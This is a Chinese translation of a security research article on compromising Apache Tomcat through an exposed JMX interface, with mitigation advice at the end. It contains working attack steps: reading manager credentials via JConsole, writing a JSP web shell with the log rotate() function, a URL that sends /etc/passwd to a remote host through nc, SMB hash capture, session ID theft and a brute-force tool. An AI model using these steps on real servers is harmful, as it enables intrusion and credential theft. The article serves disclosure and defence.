通過JMX訪問破壞Apache Tomcat
責編：admin ｜2017-02-09 16:07:20本文主要關注Tomcat服務器的一些配置問題，可以將Java管理擴展（JMX）服務暴露到外部網絡中，來用于遠程監視和管理的目的。
通過使用Java開發工具包（JDK）中的JConsole工具，這些功能可能被攻擊者濫用來獲得系統的控制權限。
本文的編寫是為了來強調這種之前不為作者所知的新的攻擊方式，它與Tomcat服務器暴露的JMX接口有關。
希望在這里提供了足夠的信息，以利于提出阻止這種利用的有效的緩解措施并且幫助滲透測試團隊評估使用這種配置的Tomcat服務器的狀態。
本文討論的這個問題已經提交給Tomcat團隊，被分類為程序的已知功能，并且目前沒有任何補丁提供。
總而言之，Tomcat指出：
Java JMX訪問相當于admin/root訪問，其處理方式與對具有admin / root權限的機器的物理訪問相同。
其他敏感的信息，比如session IDs，可通過JMX訪問，并且隱藏這些信息將嚴重降低JMX接口的實用性。
Tomcat文檔通常不涵蓋JMX的主題，但是在其他地方會涵蓋它。
任何讀者在閱讀本文后都應該遵循第九節中的建議。
Tomcat的JMX服務
Apache Tomcat的JMX服務通常被用來通過網絡監控和管理遠程Tomcat
實例，通過Java遠程方法調用（RMI）來與服務器交互。
這個服務默認不開啟，與之相反的是其他常見的Java企業版的服務器（比如JBoss）是默認配置開啟的。
為了開啟Tomcat的JMX服務，需要在setenv.sh/setenv.bat做一些簡單的修改，這個腳本是用來設置環境變量和Catalina進程啟動時的一些屬性。
JMX服務可以配置為支持認證，但是它默認不開啟。當認證被開啟（總是被推薦），它的授權模型允許訪問屬于只讀或讀寫角色的兩個不同的用戶。
網絡上關于JMX接口的配置信息很少且過時了。
例如，在下面的URL對應的網頁的標題為“監視和管理Tomcat”，但是它的配置指導是基于java 6版本的：
http://tomcat.apache.org/tomcat-8.0-doc/monitoring.html#Enabling_JMX_Remote
這個指南的第一段開始有一段注釋：
“注釋：這個配置只在你需要遠程監控Tomcat時才開啟，如果只是本地監視則不需要開啟，且需要使用啟動Tomcat相同的用戶。”
這個快速指南包括認證未開啟的簡單配置。然后它建議需要認證時，修改配置來啟用上述的兩個角色且分配密碼。
指南中有意思的一個片段如下：
如果你需要認證，添加并修改這個：
|
1
2
3
|
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access
|
編輯$CATALINA_BASE/conf/jmxremote.access文件：
|
1
2
|
monitorRole?readonly
controlRole?readwrite
|
編輯$CATALINA_BASE/conf/jmxremote.password文件：
|
1
2
|
monitorRole?tomcat
controlRole?tomcat
|
提示：密碼文件應該是只讀的，只能用和運行Tomcat相同的操作系統用戶來訪問。
如上所見，jmxremote.access文件包含兩個用戶名（monitorRole和controlRole）和他們相關的角色。在jmxremote.password文件中設置這些用戶的密碼。
對此服務始終建議啟用認證，但快速指南不強調此功能。
這個指南不強調為只讀和讀寫用戶設置強密碼的重要性。這就是為什么在現場滲透測試期間，這個接口經常被發現沒有配置認證或者使用了與指南建議類似的弱密碼。
決定是否啟用Tomcat的JMX接口
通常需要使用nmap進行掃描，來確認與Tomcat關聯的JMX接口是否已啟動并在遠程服務器上運行。
在這種情況下強烈建議使用–version-all和-A標志，因為它會告訴nmap觸發附加探測器來檢測非標準端口上JMX接口的存在。
例如，假設使用以下命令行掃描Tomcat服務器：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
>nmap?-p-?-sV?-A?192.168.11.128?-n
Nmap?scan?report?for?192.168.11.128
Host?is?up?(0.00028s?latency).
Not?shown:?65521?closed?ports
PORT?STATE?SERVICE?VERSION
…
2001/tcp?open?dc?
…
8009/tcp?open?ajp13?Apache?Jserv?(Protocol?v1.3)
|_ajp-methods:?Failed?to?get?a?valid?response?for?the?OPTION?request
8080/tcp?open?http?Apache?Tomcat/Coyote?JSP?engine?1.1
|_http-favicon:?Apache?Tomcat
|_http-open-proxy:?Proxy?might?be?redirecting?requests
|_http-server-header:?Apache-Coyote/1.1
|_http-title:?Apache?Tomcat/8.0.39
…
49222/tcp?open?unknown
|
為了簡單起見，上面的掃描結果僅包括與Tomcat相關的端口。可以看到，端口2001/tcp和端口49222/tcp未明確標識。
然而，添加–version-all標志將顯示更多有趣的信息：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
>nmap?-p-?-A?-sV?–version-all?192.168.11.128
Nmap?scan?report?for?192.168.11.128
Host?is?up?(0.00032s?latency).
Not?shown:?65521?closed?ports
PORT?STATE?SERVICE?VERSION
…
2001/tcp?open?java-rmi?Java?RMI?Registry
|?rmi-dumpregistry:
|?jmxrmi
|?implements?javax.management.remote.rmi.RMIServer,
|?extends
|?java.lang.reflect.Proxy
|?fields
|?Ljava/lang/reflect/InvocationHandler;?h
|?java.rmi.server.RemoteObjectInvocationHandler
|?@192.168.11.128:2001
|?extends
|_?java.rmi.server.RemoteObject
…
8009/tcp?open?ajp13?Apache?Jserv?(Protocol?v1.3)
|_ajp-methods:?Failed?to?get?a?valid?response?for?the?OPTION?request
8080/tcp?open?http?Apache?Tomcat/Coyote?JSP?engine?1.1
|_http-favicon:?Apache?Tomcat
|_http-open-proxy:?Proxy?might?be?redirecting?requests
|_http-server-header:?Apache-Coyote/1.1
|_http-title:?Apache?Tomcat/8.0.39
…
49222/tcp?open?rmiregistry?Java?RMI
|
在這種情況下，JMX服務被配置為在非標準端口2001/tcp而不是端口1099/tcp上運行，1099/tcp通常被這種服務的優先選擇。
此外，應當注意的是當JMX接口運行時，運行Java RMI的隨機端口也可用于Tomcat。從客戶端/攻擊者角度來看，能夠連接此端口也很重要。
也就是說，單獨使用nmap無法確定Tomcat JMX接口是否啟用認證。
使用JConsole連接JMX服務
如果你使用Windows，JConsole是JDK中的一個小的可執行文件，存儲在bin文件夾中。啟動后主界面如下圖：
圖1 – Jconsole主界面
JConsole也在Linux版的JDK中提供，且在Kali中找到如下圖：
圖2 – Kali中的JConsole
如果逆向遠程連接到Tomcat JMX接口，選擇Remote Process選項且輸入目標的IP地址加端口號。點擊Connect按鈕：
圖3 – 設置目標
JConsole能夠檢測到SSL是否開啟，并且顯示如下提示：
圖4 – 目標中的SSL沒有開啟
單擊Insecure connection按鈕繼續。當啟用認證，通常會顯示以下提示：
圖5 – 認證啟動的提示
在這種情況下，您應該使用username和password文本框輸入一些有效的憑據。請注意，也可能由于其他原因獲得連接失敗錯誤。
連接失敗的常見原因之一是由于攻擊者和服務器之間的防火墻。此防火墻可能配置為阻止傳入流量到由Tomcat啟動的其他Java RMI進程使用的端口（例如，上面nmap掃描輸出中列出的49222/tcp）。
使用您喜歡的網絡嗅探器進行流量捕獲，以了解“連接失敗”錯誤是否與認證相關。
在下面的示例中，Tomcat JMX服務器（運行于192.168.11.128）正在返回包含認證失敗錯誤的RMI消息：
圖6 – 認證失敗-暗示需要認證憑據
請注意，上面的錯誤包括需要憑據的字符串，表示在JConsole初始屏幕中未指定任何憑據。
在輸入一些憑據時返回不同的錯誤消息：
圖7 – 不可靠的用戶名和密碼
如果未啟用認證（這在某些內部網絡滲透測試中可能是正確的），顯示如下：
圖8 – Jconsole連接到遠程的Tomcat JMX接口
事情開始變的有趣。
從這一點開始，我們將考慮攻擊者能夠識別一個監聽的Tomcat JMX接口并可以使用JConsole連接到它的情況。這是可能的，因為認證未啟用，或者因為攻擊者能夠猜到一些有效的憑據。
0x04 使用JMX讀取Tomcat管理器的密碼
假設Tomcat啟用了管理器應用程序，但是沒有使用任何弱憑據（如admin/admin或tomcat/manager）。假設攻擊者試圖使用自動腳本來強制一個有效的密碼而不成功。
在這里，可能得出沒有方法發現管理器密碼的結論。
事實上，有一個簡單的方法，在忽略密碼強度的情況下恢復密碼，在寫文章的這一刻，這個技術還沒有參考。
這個方法是在你的機器上面啟動JConsole并且指向遠程的Tomcat JMX服務器。選擇MBeans選項卡：
圖9 – 選擇MBeans
之后顯示如下：
圖10 – Mbeans
展開Users目錄，且選擇下面的節點：
|
1
|
Users->User->”manager”->UserDatabase->Attributes
|
你應該能夠看見類似下面的一些東西，這些暗示了憑據：
圖11 – 泄漏的Tomcat管理器的用戶名和密碼
在這里，你能使用發現的憑據來連接到遠程Tomcat管理器，以控制服務器。
0x05 日志循環函數中的目錄遍歷
如果你已經看到了這里，你已經有了一個好且簡單的方法來訪問Tomcat管理器，來破環底層服務器。
執行此操作的典型方法是部署簡單的Web應用程序存檔（WAR），包括允許執行操作系統（OS）命令的代碼，然后調查服務器上的內容。
如果服務器在Windows上運行，則大多數時間它將作為SYSTEM或管理員運行。因此，你的操作系統命令將在最高權限級別運行。
但是，如果由于某些原因Tomcat管理器不在那里怎么辦？
雖然在內部網絡中部署的服務器則不可能是這種情況，但是仍然有可能，因此我們需要另一種方法來瀏覽服務器，假設我們仍然能夠連接Tomcat JMX接口。
日志循環函數
在大量的具有寫權限的Tomcat JMX MBeans操作中，有一個顯示了有趣的行為。當JMX服務沒有配置支持認證時，這個特別的功能也能訪問。下面是它的Java特征：
|
1
|
boolean?rotate(string?newFileName)
|
上面的特征在下面的節點提供：
|
1
|
Catalina->Valve->localhost->AccessLogValve->Operations
|
這表明rotate函數用于備份Tomcat訪問日志到服務器上的文件中。
為了證明這個，下載了運行Tomcat8.0.39的Bitnami Linux VM。然后配置服務器來公開JMX端口，以便允許使用JConsole進行連接。最后totate函數用此位置指定文件：
|
1
|
/tmp/test.log
|
完成這個過程后，下面的確認消息由服務器返回：
圖12 – ‘True’確認消息被執行
可以確認test.log文件在tmp目錄中。直到rotate函數被調用，目錄的內容是Tomcat訪問日志。
|
1
2
3
|
bitnami@ubuntu:/tmp$?cat?/tmp/test.log
192.168.11.1?–?–?[08/Dec/2016:14:50:42?+0000]?“GET?/test-log-request?HTTP/1.1″?404?1026
bitnami@ubuntu:/tmp$
|
在服務器上面執行OS命令
正如上一節討論的，rotate函數允許在服務器的任意目錄中存儲文件。它還將允許選擇該文件的任意擴展。
這意味著，作為一個攻擊者，我們濫用它來在Tomcat提供網絡服務的目錄中創建一個Java Servlet Page（JSP）文件。在這里我們的目標創建包含JSP指令的文件來在服務器上面執行命令。
為了實現這個，我們首先需要的是使用在URL中包含有效的JSP代碼的請求來破環Tomcat訪問日志。
例如，使用Burp Suite Repeater來發送下面的請求。注意在這個例子中，我們測試的Tomcat運行在80/tcp端口：
圖13 – 發送的請求
現在我們需要的是找到一個可靠的路徑來存放我們的使用rotate函數的JSP文件。關于這個我們能利用JConsole界面中的一些信息。
VM的Summary選項卡能提供一些關于catalina.base屬性的信息。這個選項卡包含一個節（在窗口底部），顯示了Java VM的參數。
例子顯示如下：
圖14 – catalina.base文件夾
Catalina.base目錄應該返回一個webapps文件夾，其中是Tomcat提供的各種網絡服務。
部署在服務器上的網絡應用可以在MBeans選項卡中看到。
下面的截圖是Tomcat服務器默認的應用的例子：
圖15 – Tomcat上默認的應用
將cataline.base目錄的信息和Tomcat上的應用列表放在一起，找到存儲我們JSP文件的目錄還是可能的。
例如，一個test.jsp文件存儲在/docs文件夾中：
|
1
|
/opt/bitnami/apache-tomcat/webapps/docs/test.jsp
|
在這里，上面的路徑可以和rotate函數一起使用：
圖16 – test.jsp文件被創建
我們能打開瀏覽器并運行一個命令。在下面的截圖中一個命令被執行，用來把/etc/passwd的內容粘帖到nc客戶端中，繼而連接一個遠程監聽器：
圖17 – 遠程服務器上面的數據
作為參考，執行命令的URL顯示如下：
|
1
|
http://192.168.11.141/docs/test.jsp?cmd=sh%20-c%20$@|sh%20.%20echo%20/bin/cat%20/etc/passwd%20|%20nc%20192.168.11.136%208080
|
這包括一些調整，允許使用管道將輸出從一個命令重定向到另一個命令。
如果需要，目前為止的web shell也可以用來執行wget命令，并從遠程機器上面下載一個更多功能的JSP shell。
捕獲SMB challenge-responses hashes
正如已經討論的，如果你的Tomcat服務器在Windows上面運行，意味著通過JSP shell執行的命令和通過rotate函數創建的命令將以最高權限運行。
然而，有時可能出現不正確的情況，且服務器運行在域賬戶。如果那種情況，捕獲SMB challenge-responses和破解他們是可能的。Rotate函數也在這里使用。
為了測試攻擊場景，Kali虛擬機可以用來啟動Metasploit SMB capture auxiliary module。
使用JConsole執行JMX連接，并且使用下面的參數使用rotate函數：
|
1
|
\\192.168.11.136\test
|
在這種情況，上面的IP地址是Kali虛擬機。下面的截圖確認了Tomcat向遠程IP發送了一個請求，能夠3次捕獲SMB challenge：
圖18 – 捕獲的SMB challenge response
通過創建其他文件類型來進行client-side攻擊
注意，rotate函數也能用來創建敏感文件（如HTML文件），并且在網絡應用中存儲他們，以便執行跨站腳本攻擊。
這個涉及到，重復上述步驟，使用可靠的HTML代碼污染日志文件，然后在Tomcat網絡應用程序目錄中存儲一個HTML文件。
圖19 – html文件
0x06 抓取網絡應用的用戶的session ID
另外的Tomcat JMX操作能被攻擊者利用來劫持Tomcat網絡應用的用戶的會話，lisrSessionIds()在下面的節點顯示：
|
1
|
Catalina->Manager->[ApplicationName]->Operations->listSessionIds()
|
這個操作通常可用于Tomcat上部署的每個網絡應用中，且如名稱所示，能返回連接應用的用戶的所有的JSESSIONID。
例如，下面的截圖顯示了連接管理器應用的用戶的session ID：
通過Tomcat JMX服務可用的操作之一將允許檢索JSESSIONID cookie值，因此可能允許攻擊者通過劫持他們的會話來假冒另一個用戶。
注意，由于需要該帳戶的有效用戶名和密碼，因此無法利用此問題訪問管理器應用程序。然而，部署在服務器上的其他應用程序（例如支持基于JSESSIONID cookie的認證的應用程序）會受到影響。
能夠運行listSessionIds()數的攻擊者將能夠劫持另一個用戶的會話。
注意，listSessionIds()是另一個操作，它只對具有寫入權限的JMX用戶可用。
如果JMX服務器配置為允許未經認證的訪問，那么它仍然可以使用。
0x07 暴力破解進入Tomcat JMX
當Tomcat JMX服務配置為啟用認證并且使用強密碼時，仍有可能獲得未經授權的訪問。
實際上，為此服務實現的認證過程在登錄失敗后不會鎖定帳戶，因此容易受到暴力密碼破解攻擊。
PoC工具（jmxbf）已經由作者開發來演示這個。
使用例子如下：
|
1
2
3
4
5
6
|
$>Usage:
java?-jar?jmxbf.jar
-h,–host?<arg>?The?JMX?server?IP?address.
?-p,–port?<arg>?The?JMX?server?listening?port.
?-pf,–passwords-file?<arg>?File?including?the?passwords,?one?per?line.
?-uf,–usernames-file?<arg>?File?including?the?usernames,?one?per?line.
|
Example:
|
1
|
$>java?–jar?jmxbf.jar?–h?192.168.20.1?–p?1099?–uf?usernames.txt?–pf?passwords.txt
|
一些例子輸出如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$>java?–jar?jmxbf.jar?–h?192.168.20.1?–p?1099?–uf?usernames.txt?–pf?passwords.txt
Auth?failed!!!
Auth?failed!!!
Auth?failed!!!
.?.?.
Auth?failed!!!
Auth?failed!!!
###SUCCESS###?–?We?got?a?valid?connection?for:?control:supersecretpwd
Found?some?valid?credentials?–?continuing?brute?force
….
###SUCCESS###?–?We?got?a?valid?connection?for:?monitor:monitor
Found?some?valid?credentials?–?continuing?brute?force
Auth?failed!!!
Auth?failed!!!
Auth?failed!!!
Auth?failed!!!
.?.?.
Auth?failed!!!
Auth?failed!!!
Auth?failed!!!
The?following?valid?credentials?were?found:
control:supersecretpwd
monitor:monitor
|
這個工具通過github可以下載到：https://github.com/nccgroup/jmxbf? 。
0x08 其他問題？
正如已經提到的，MBeans操作的大列表和屬性能提供給連接Tomcat JMX服務的用戶使用。可能還有其他函數，可以使用與上面討論的rotate函數問題所示的類似的方式。
深入研究才能確定。
如果由于強大的認證措施讓你無法訪問Tomcat JMX控制臺，則仍然有潛在的方法來破壞服務器。
Tomcat最近修補了兩個與Java反序列化相關的漏洞，如果暴露了JMX服務器，可以利用這些漏洞：
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8735
本文不討論這些漏洞的細節，但是卻可以說如果你的Tomcat運行在老版本的Java系統中，是可能通過發送特定的包到JMX服務器來實現RCE。
進一步研究后再發布新文。
0x09 建議
有很多可以實現的建議，來保護有本文討論的問題的Tomcat服務器。
首先，建議對JMX服務的訪問使用防火墻。只有列入白名單的IP地址才能連接。
然而，應該始終啟用強密碼的認證。下面是在Windows使用setenv.bat啟動認證的例子：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
SET?JAVA_HOME={replace?with?full?path?to?Java?JDK}
SET?JRE_HOME=%JAVA_HOME%
SET?JAVA_OPTS=%JAVA_OPTS%?-Xms256m?-Xmx512m?-XX:MaxPermSize=256m?-server
SET?CATALINA_OPTS=-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace?with?Tomcat?server?IP?address}
SET?CATALINA_OPTS=%CATALINA_OPTS%
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=%CATALINA_BASE%/conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=%CATALINA_BASE%/conf/jmxremote.access
|
下面是Linux下面使用setenv.sh的例子：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
JAVA_HOME={replace?with?full?path?to?Java?JDK}
JRE_HOME=$JAVA_HOME
JAVA_OPTS=”-Djava.awt.headless=true?-XX:+UseG1GC?-Dfile.encoding=UTF-8?$JAVA_OPTS?“
JAVA_OPTS=”-XX:MaxPermSize=256M?-Xms256M?-Xmx512M?$JAVA_OPTS?“
CATALINA_OPTS=”-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace?with?Tomcat?server?IP?address}
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access”
export?JAVA_HOME
export?JRE_HOME
export?JAVA_OPTS
export?CATALINA_OPTS
|
SSL也應該開啟，以保護認證過程中憑據嗅探攻擊。
注意，在上述所有的配置中，jmxremote.ssl變量設為true。
然而，沒有包括正確啟用SSL其他的一些變量。需要的其他配置步驟在這里不再詳述。
下面的URL包含了這個任務的參考信息：
https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html
https://www.ibm.com/support/knowledgecenter/SSYMRC_6.0.1/com.ibm.jazz.repository.web.admin.doc/topics/t_server_mon_tomcat_option3.html
強烈推薦為只讀和讀寫用戶在jmxremote.password文件中設置高強度密碼保護。這些應該與Tomcat管理器不同。
并且，考慮為所有用戶選擇不常用的用戶名。
另外，只有Tomcat用戶才被允許讀取jmxremote.password文件。如果檢測到這個文件的讀權限太寬松，Tomcat將不會啟動。
下面的命令能被用來在Windows上面設置這些權限：
|
1
|
cacls?jmxremote.password?/P?[username]:R
|
盡管JMX訪問等同于admin/root訪問，如果一個人能夠以只讀用戶身份訪問JMX服務，那么仍然可能看到Tomcat管理器用戶名和密碼。
的確，只讀用戶將不被允許運行任何JMX操作，但他們仍然能夠訪問一個敏感的信息，在大多數情況下，將導致Tomcat服務器的破環。
關于rotate函數的問題，作者認為應該嚴格的控制，以避免Tomcat JMX服務器在服務器上可用的任何文件夾上創建具有任何擴展名的日志文件。
通過這個函數創建的日志文件只能在Tomcat日志文件夾中創建，并且無法使用URL訪問。
最后，考慮在系統上存儲一個哈希版本的Tomcat管理器密碼（因為這個哈希將在JMX屬性中可見）而不是純文本版本。
注意，這是我們從Tomcat收到的一個建議，同時討論了JMX只讀用戶能夠讀取管理器的密碼的問題。然而，這種情況下如果用戶名還是明文，攻擊者可以使用離線密碼破解工具破解密碼。
下面的URL包含了存儲哈希版本密碼的一些參考：
https://tomcat.apache.org/tomcat-8.0-doc/realm-howto.html#Digested_Passwords
http://www.jdev.it/encrypting-passwords-in-tomcat/
https://leanjavaengineering.wordpress.com/2011/02/04/tomcat-digested-passwords/
下面是digest工具的使用例子：
|
1
|
digest.bat?-s?0?-i?1?themanagersecretpassword
|
將輸出明文和加密的憑據：
|
1
|
themanagersecretpassword:42052cec2459a6b4c383f2c43698d0528fe3f39756f8524763fc9e2997e77ebf1f1ba9bc0926b7395e32bb796e4ec0c1045e96c15c1edb510c2e295a5c11b095
|
注意，在上面的例子中，-s和-i參數分別用于設置salt的長度和迭代次數。
Digest工具還接受-a參數，來指定哈希算法。
根據Tomcat的推薦，當不使用-a參數，則默認使用SHA-512。
另外，應該注意不帶-s和-i參數使用digest，將返回{salt}${iterations}${digest}格式的輸出，例子如下：
|
1
2
|
>digest.bat?themanagersecretpassword
themanagersecretpassword:92cd45d5db0f5794c794bf4fb0cc975347978d53673ec3c946a28c199c209995$1$a27648ca5671b33692ebb95a80720903dfd50b13da649b1d703ffc0260b2194ddec21616528bf4f6a99fb6b8fa724c6c518c2c45125b135b82c2ec16b060cb2f
|
上述的例子，關于salt的長度（字節）和迭代次數，使用默認值，
雖然作者寫作是不知道，但是下面的工具在2014年由Jeremy Mousset創建，覆蓋了本文討論的一部分內容，且不涉及JConsole：https://github.com/jmxploit/jmxploit